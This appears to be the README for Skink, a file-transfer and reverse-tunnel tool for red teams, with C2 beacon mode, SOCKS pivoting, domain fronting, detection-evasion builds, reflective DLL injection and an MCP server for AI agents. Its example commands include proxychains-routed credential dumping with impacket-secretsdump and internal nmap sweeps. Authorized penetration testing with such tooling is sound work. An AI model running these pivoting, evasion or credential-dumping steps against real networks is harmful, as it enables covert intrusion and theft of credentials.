Content
# Skink — encrypted file transfer & tunnel platform
<p align="center">
<img src="img/skink.png" alt="Skink logo" width="100%">
</p>
**Skink** is a file transfer tool **and** a full-featured reverse tunnel platform (ngrok/frp/Chisel-like). Move files, expose local services, or route entire toolchains through a single encrypted tunnel.
Inspired by croc — extended with SOCKS5 proxying, multi-hop relay chaining, WSS transport, Noise Protocol encryption, SSH gateway, STUN-based P2P, and evasion features for operational security.
> 📖 **Deep-dive article:** [*Skink: From Secure File Transfer to Full-Spectrum OPSEC Tunnel Platform*](https://octagono.org/blog/skink/) — a comprehensive technical walkthrough covering the architecture, design decisions, and operational use cases across all transports, tunnel types, and evasion features.
## Quick start
```bash
skink send file.txt # send file
skink receive # receive file
skink relay --tunnel-port 9090 # start relay with tunnel support
skink tunnel --server relay:9090 --type tcp --local localhost:22 # expose SSH
skink tunnel --server relay:9090 --type socks5 --socks5-port 1080 # SOCKS5 proxy
skink exec --server relay:9090 -- ls -la /etc # remote exec on relay
skink noise-keygen # generate Noise keypair
```
## Features
### File transfer
- End-to-end encrypted file transfer (PAKE + NaCl secretbox)
- Multi-file, folder, text paste
- Resume interrupted transfers
- Local LAN discovery
### Tunnel platform
| Feature | Usage | Description |
|---|---|---|
| **HTTP tunnel** | `--type http` | Expose local web server through public URL |
| **TCP tunnel** | `--type tcp` | Forward any TCP service (SSH, RDP, reverse shell) |
| **UDP tunnel** | `--type udp` | Datagram framing over multiplexed stream |
| **SOCKS5 proxy** | `--type socks5` | Route ALL tools through one tunnel (nmap, curl, impacket) |
| **P2P tunnel** | `--type p2p` | STUN-assisted direct peer connection |
| **Private tunnel** | `--private` | No public port — access by token only |
| **SSH gateway** | `--ssh-gateway-port` | Register tunnels via standard `ssh -R` — no Skink binary on client |
### Transports
| Transport | Flag | Use case |
|---|---|---|
| TCP (default) | `--transport tcp` | Standard, lowest overhead |
| WSS | `--transport wss` | WebSocket Secure — bypasses DPI, utls Chrome JA3 fingerprint |
| QUIC | `--transport quic` | HTTP/3 transport — native multiplexing (no head-of-line blocking), 1-RTT TLS 1.3 |
| Named pipe | `--transport pipe` | Windows SMB lateral movement (legitimate pipe names) |
### Stealth & evasion
| Feature | Implementation |
|---|---|
| **TLS fingerprint cloaking** | utls — Chrome 131 JA3 on wire, not Go's crypto/tls |
| **Noise double-encryption** | Noise NK handshake *inside* WSS — survives TLS inspection proxies |
| **Cover traffic** | Random Slack/Teams/generic traffic at configurable intervals |
| **Garble obfuscated builds** | `make build-stealth` — strips Go runtime YARA signatures |
| **Reflective DLL injection** | `make build-dll` + `scripts/load.ps1` — no process creation event |
| **Named pipe normalization** | 37 legitimate Windows pipe names (eventlog, spoolss, lsarpc) |
### Multi-hop relay chaining
Chain relays for opsec: **Target → Relay-C → Relay-B → Relay-A → You**
```bash
skink relay --tunnel-port 9090 # edge (public)
skink relay --tunnel-port 9091 --upstream edge:9090 # middle (pivot)
skink tunnel --server pivot:9091 --type socks5 # target
```
Each relay only knows the next hop. The upstream allocates ports and handles connections.
### Private tunnel sharing
Expose a service through the relay **without a public port**. Access is granted by token — no URL to scan, no port to probe.
```bash
# Relay side: register a private tunnel
skink tunnel --server relay:9090 --type tcp --local localhost:22 --private
# Output includes an access token (e.g. "access_token: a1b2c3d4...")
# No public port is allocated on the relay.
# Client side: connect to the private tunnel
skink tunnel --server relay:9090 --access a1b2c3d4... --local localhost:2222
# Now ssh user@localhost:2222 routes through the relay to the private service
```
- No public endpoint exposed — service is dark to internet scanners
- Access token is the sole authorization; relay cannot decrypt payload
- Works with all tunnel types (TCP, HTTP, UDP)
- Bridge uses existing yamux multiplexing through the relay data port
### REST API
Manage tunnels programmatically via a local HTTP API on the relay.
```bash
# Start relay with API enabled
skink relay --tunnel-port 9090 --api-port 9093 --api-token my-secret-token
# List all tunnels
curl -H "Authorization: Bearer my-secret-token" http://127.0.0.1:9093/api/v1/tunnels
# Get specific tunnel
curl -H "Authorization: Bearer my-secret-token" http://127.0.0.1:9093/api/v1/tunnels/<id>
# Delete a tunnel
curl -X DELETE -H "Authorization: Bearer my-secret-token" http://127.0.0.1:9093/api/v1/tunnels/<id>
# Server status
curl http://127.0.0.1:9093/api/v1/status
```
Binds to `127.0.0.1` only. Bearer token authentication is optional but recommended.
Endpoints return JSON. No web dashboard dependency — pipe through jq or any HTTP client.
### Config hot-reload
Change routing rules, heartbeat parameters, or split-tunnel CIDRs without restarting the tunnel.
```bash
# Start tunnel with config file and enable hot-reload
skink tunnel --config skink-tunnel.yaml --watch
```
Edit `skink-tunnel.yaml` while the tunnel runs — changes to `routes`, `bypass_routes`, `heartbeat_interval`, and `heartbeat_jitter` apply immediately. Active connections are not dropped. The watcher uses fsnotify internally.
```yaml
# Example: update routes live by editing this file
server: relay:9090
type: socks5
heartbeat_interval: 60
routes:
- 10.0.0.0/8
bypass_routes:
- 0.0.0.0/0
```
### Split tunnel routing
### Remote exec through relay
```bash
skink exec --server relay:9090 -- ls -la /etc
skink exec --server relay:9090 -- cat /etc/os-release
skink exec --server relay:9090 -- id
```
Commands run on the relay (or tunnel target). Structured JSON response with
stdout, stderr, and exit code. Uses yamux `EXEC|` prefix streams.
### C2 beacon mode
Persistent tunnel with long random check-in intervals and state on disk.
```bash
skink tunnel --server relay:9090 --type socks5 --c2 --c2-interval 30 --c2-state ./state.json
```
- Reconnects at 30min ±50% random intervals (evades beaconing detection)
- Persists tunnel ID, subdomain, token on disk
- Survives reboots and network changes
- State file at `skink-c2-state.json` by default
### Port scanning through relay
```bash
skink scan --server relay:9090 --target 10.0.1.50 --ports 22,80,445,3389
```
### Cloudflare Worker (domain fronting)
Deploy `scripts/skink-worker.js` on Cloudflare Workers:
```bash
wrangler deploy scripts/skink-worker.js
skink tunnel --server my-worker.workers.dev --transport wss --type socks5
```
Traffic appears as legitimate Workers traffic — the relay address is never in DNS or TLS handshakes.
### Docker deployment
```bash
# Start relay with docker compose:
docker compose up -d
# Or manual:
docker build -t skink .
docker run -d --name skink-relay \
-p 9009-9013:9009-9013 \
-p 9090:9090 -p 9091:9091 \
-p 8080:8080 \
-e SKINK_PASS=changeme \
skink
```
Multi-stage Dockerfile, docker-compose with healthcheck and Prometheus profile.
### JSON structured logging
```bash
skink relay --log-format json | jq 'select(.level == "error")'
skink tunnel --log-format json | jq -c '{msg: .message}'
```
Newline-delimited JSON: `level`, `message`, `timestamp`, `app`. Pipe through
jq for filtering — no web dashboard needed.
### MCP server (AI agent integration)
Skink ships with an MCP (Model Context Protocol) server that lets AI agents
use Skink's capabilities as native tools.
```bash
# Build the MCP server binary
make build-mcp
# Start the MCP server (stdio transport)
skink-mcp
```
Agents communicate with Skink through **11 tools** and **5 resources**:
| Tool | Description |
|---|---|
| `send_file` | Encrypted file transfer with path validation |
| `receive_files` | Receive files with a code phrase |
| `tunnel_start` | Expose local services (public or private) |
| `tunnel_stop` | Stop a tunnel by ID |
| `tunnel_list` | List active tunnels on a relay |
| `tunnel_access` | Connect to a private tunnel |
| `relay_start` | Start a relay server |
| `scan_ports` | Port scan through a relay |
| `generate_code` | Generate a random transfer code |
| `noise_keygen` | Generate Noise keypair |
| `version` | Get Skink version |
**Client configuration:**
<table>
<tr><th>OpenCode (opencode.jsonc)</th><th>Claude Desktop</th></tr>
<tr>
<td>
```json
"mcp_servers": {
"skink": {
"command": "skink-mcp",
"args": []
}
}
```
</td>
<td>
```json
"mcpServers": {
"skink": {
"command": "/path/to/skink-mcp"
}
}
```
</td>
</tr>
</table>
**Resources** (loaded as context by the agent):
| URI | Description |
|---|---|
| `skink://version` | Binary version info |
| `skink://help` | Command summary |
| `skink://tunnels/{server}` | Active tunnels on a relay |
| `skink://status/{server}` | Relay status and metrics |
| `skink://relay/config` | Default configuration reference |
#### Architecture
The MCP server wraps the `skink` CLI via `os/exec` with the `--agent` flag.
This provides process isolation (a crash in file transfer doesn't take down
the agent session), avoids circular Go import issues, and fully leverages
the structured `--output json` format.
All file operations are restricted to a configurable working directory.
Tunnel connections can be restricted to an allowlist of relay hosts.
Commands run with configurable timeouts via `exec.CommandContext`.
### AI agent mode
Skink is designed for AI agent and automation use. Every command supports
structured JSON output and semantic exit codes.
```bash
# Single flag enables all agent-friendly defaults
skink --agent --version
# → {"status":"ok","data":{"version":"v10.4.13","commit":"abc123"}}
# Structured output for all commands
skink --agent send file.txt
# → {"status":"ok","data":{"code":"...","url":"..."}}
# Error handling with exit codes
skink send --code bad
# exit code 2 (auth failure) — agent can branch on the code
# Per-command JSON output (without agent mode)
skink send --output json file.txt
skink tunnel --server relay:9090 --output json
```
#### Exit codes
| Code | Meaning | Agent action |
|---|---|---|
| `0` | Success | Proceed |
| `1` | General error | Inspect stderr, retry or abort |
| `2` | Auth failure | Rotate credentials, refresh token |
| `3` | Network error | Retry with exponential backoff |
| `4` | Bad input | Validate args, file paths, config |
| `5` | Timeout | Increase timeout or retry later |
| `6` | Unavailable | Resource not found |
#### Output formats
| Flag | Effect |
|---|---|
| `--output json` / `-o json` | Wraps result in `{"status":"ok","data":{...}}` envelope |
| `--output text` | Default human-readable output |
| `--agent` | Sets `--quiet --log-format json --output json --yes` in one flag |
| `--version --output json` | Structured version metadata for binary pre-flight checks |
### Build system
```bash
# Standard build:
make
# Tunnel-only (~2MB with UPX):
make build-tunnel
# Transfer-only (no tunnel):
make build-transfer
# MCP server for AI agent integration (Claude, Cursor, OpenCode):
make build-mcp
# Full obfuscated (garble + randomized seed + strip + UPX):
make build-stealth
# Cross-platform release matrix (linux/darwin/windows, multi-arch):
make release
# Artifacts in ./build/ with SHA256 checksums
# Software bill of materials:
make sbom
# Lint, vet, format:
make check
```
### Memory & performance tuning
```bash
# Reduce yamux buffer for constrained targets:
skink relay --yamux-window 1048576
skink tunnel --server relay:9090 --yamux-window 2097152
# Set Go memory limit to avoid OOM on constrained systems:
GOMEMLIMIT=50MiB skink tunnel --server relay:9090
```
**Yamux window:** Default 16MB. Lower = less memory per connection. Higher = more throughput on high-latency links. As a rule of thumb, set to `bandwidth × RTT` (the bandwidth-delay product). For a 100ms RTT link at 100Mbps, a 1.25MB window is sufficient. For cross-continental links at 1Gbps, consider 64MB.
**Buffer pooling:** All tunnel proxy streams use a `sync.Pool` of 32KB buffers instead of allocating per-stream. This eliminates allocation churn on the GC for sustained transfers through the tunnel.
**GOMEMLIMIT** (Go 1.19+): Sets a hard memory cap. The Go runtime triggers GC aggressively only when approaching the limit. Below the limit, GC runs less often, reducing CPU overhead. Set to 80% of available RAM for optimal performance.
**TCP_NODELAY:** Disabled Nagle's algorithm on all tunnel TCP connections — ensures SSH keystrokes and interactive traffic are sent immediately, not buffered.
**Zero-copy (Linux):** TCP-to-TCP proxy paths use `splice(2)` through a kernel pipe buffer, bypassing user-space entirely. File-to-socket transfers use `sendfile(2)`. Non-Linux platforms and non-TCP connections (WSS, QUIC, named pipes) fall back to pooled `io.CopyBuffer`.
**QUIC transport:** `--transport quic` uses HTTP/3 with native stream multiplexing — a lost packet on one stream doesn't stall others (no head-of-line blocking). 1-RTT TLS 1.3 handshake. No yamux layer needed.
**Full ICE/TURN P2P:** `--type p2p` tunnels use full ICE candidate gathering (host + server-reflexive + relay). Falls back to TURN relay when direct hole punching fails. Configure with `--turn-server`, `--turn-user`, `--turn-pass`.
**Path healing:** Multi-hop relay chains self-heal. When an intermediate relay drops, `PathTable` finds alternate routes automatically. Relays advertise reachable tunnels via the advertise/withdraw protocol.
**Fuzz testing:** Run `make fuzz` to exercise all ingress parsers (stream headers, message frames, YAML config, mnemonicode) with random inputs for 30s each.
## Detailed usage
### Send files
```bash
skink send file.txt
skink send file1.txt file2.txt
skink send --code secret-pass file.txt
skink send folder-name
```
### Receive files
```bash
skink receive
skink secret-pass
```
### Use a relay
```bash
skink send --relay myrelay.example.com:9009 file.txt
skink receive --relay myrelay.example.com:9009
```
### Use a proxy
```bash
skink --socks5 "127.0.0.1:9050" send file.txt
skink --connect "http://proxy:8080" send file.txt
```
### Tunnel usage
```bash
# Relay with tunnel support, health checks, metrics
skink relay --tunnel-port 9090 --tunnel-http-port 8080 \
--health-check-interval 30 --metrics-port 9091
# Expose local services
skink tunnel --server relay:9090 --type http --local localhost:3000
skink tunnel --server relay:9090 --type tcp --local localhost:22 --password secret
skink tunnel --server relay:9090 --type udp --local localhost:1194
# SOCKS5 — route any tool through the tunnel
skink tunnel --server relay:9090 --type socks5
# proxychains4 nmap -sT -Pn 10.0.1.0/24 -p 445
# proxychains4 impacket-secretsdump DOMAIN/user@10.0.1.10
# With TLS wrapping, evasive heartbeat, and Noise
skink tunnel --server relay:9090 --type socks5 --transport wss \
--cover-profile slack --heartbeat-interval 300 --heartbeat-jitter 0.5
# P2P (STUN-assisted)
skink tunnel --server relay:9090 --type p2p --local localhost:8080
# SSH gateway (register tunnels with standard SSH client)
skink relay --tunnel-port 9090 --ssh-gateway-port 9022
ssh -R 8080:localhost:3000 user@relay -p 9022
```
### Config file
```yaml
# skink-tunnel.yaml
server: relay.example.com:9090
type: tcp
local: localhost:22
tls: true
tls_skip_verify: true
heartbeat_interval: 300
heartbeat_jitter: 0.5
private: false # enable private tunnel mode
access_token: "" # for connecting to a private tunnel
routes: # split tunnel CIDRs
- 10.0.0.0/8
bypass_routes: # bypass tunnel CIDRs
- 0.0.0.0/0
```
```bash
skink tunnel --config skink-tunnel.yaml # load config
skink tunnel --config skink-tunnel.yaml --watch # load + hot-reload on changes
```
## Privacy & security
- **Encryption:** PAKE (Password Authenticated Key Exchange) + NaCl secretbox (XChaCha20-Poly1305)
- **Zero-knowledge relay:** The relay cannot decrypt transferred data
- **Noise Protocol:** Optional NK handshake for double-encryption through TLS inspection
- **Auth options:** Password, bearer token, SSH public key
- **Rate limiting:** Per-IP token bucket, IP allowlists, connection caps
## Build quality
```bash
make build # standard build
make build-mcp # MCP server for AI agent integration
make build-stealth # obfuscated binary with randomized garble seed
make release # cross-platform release matrix + SHA256 checksums
make test # run tests
make test-race # run tests with race detector
make test-cover # coverage report
make lint # golangci-lint
make vet # go vet
make fmt # check formatting
make check # lint + vet + format
make sbom # software bill of materials
```
## License
MIT
## Legal & ethical use
Skink is a tool for legitimate security research, penetration testing,
and operational security. It provides encrypted file transfer and tunnel
capabilities that can also be used for unauthorized network access if
misused.
**By using this software, you agree that:**
1. You will only use Skink on systems you own or have explicit written
authorization to test.
2. You are solely responsible for complying with all applicable local,
state, federal, and international laws.
3. The authors and contributors are not liable for any damage or legal
consequences arising from misuse of this tool.
4. Skink's stealth and evasion features are provided for defense-in-depth
in authorized operations — not for circumventing security controls
without permission.
5. Unauthorized access to computer systems is illegal under the Computer
Fraud and Abuse Act (CFAA) and similar laws worldwide.
---
*Inspired by croc. Built for authorized operational use only.*
MCP Config
Below is the configuration for this MCP Server. You can copy it directly to Cursor or other MCP clients.
mcp.json
Connection Info
You Might Also Like
No recommendations available